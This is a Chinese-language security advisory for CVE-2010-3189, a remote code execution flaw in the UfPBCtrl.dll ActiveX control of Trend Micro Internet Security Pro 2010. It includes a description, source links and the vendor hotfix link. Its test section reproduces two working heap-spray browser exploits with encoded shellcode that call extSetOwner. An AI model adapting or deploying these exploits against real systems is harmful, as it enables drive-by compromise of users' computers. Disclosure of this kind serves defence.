发布日期：2010-08-25
更新日期：2010-08-26

受影响系统：

Trend Micro Internet Security Pro 2010

描述：

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BUGTRAQ  ID: 42717
CVE(CAN) ID: CVE-2010-3189

趋势科技的Internet Security是一套可适合保护家庭用户多台计算机的网络安全产品。

Internet Security所安装的UfPBCtrl.dll ActiveX控件没有正确地处理传送给extSetOwner函数的调用参数。该函数假设调用参数为已初始化的指针，如果攻击者指定了无效的地址，就可以强制进程调用受控的内存区域，导致执行任意代码。

<*来源：Andrea Micalizzi
  
  链接：http://marc.info/?l=full-disclosure&m=128275592727063&w=2
        http://secunia.com/advisories/41140/
        http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-
043D9CEC52F0'></object>
<script>

//payload is windows/exec cmd=calc.exe

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                        
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+
fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block +
shellcode;

target.extSetOwner(unescape('%u50A1%u00C7'));
//IEFRAME.DLL [0x00c750a6] = 0a0a0a0a (perfect?), we send just
behind it

</script>



<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'>

</object>
<script>  
     shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                      
     nops=unescape('%u9090%u9090');
     headersize =20;
     slackspace= headersize + shellcode.length;
     while(nops.length< slackspace) nops+= nops;
     fillblock= nops.substring(0, slackspace);
     block= nops.substring(0, nops.length- slackspace);
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
     memory=new Array();
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;    
     target.extSetOwner(unescape('%ua5de%u3da6'));                 //mshtml.dll [0x3DA6A5DE] = 0A0A0A06      
</script>

http://www.exploit-db.com/download/15168

建议：

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厂商补丁：

Trend Micro
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://esupport.trendmicro.com/pages/Hot-Fix-UfPBCtrldll-is-vulnerable-to-remote-attackers.aspx

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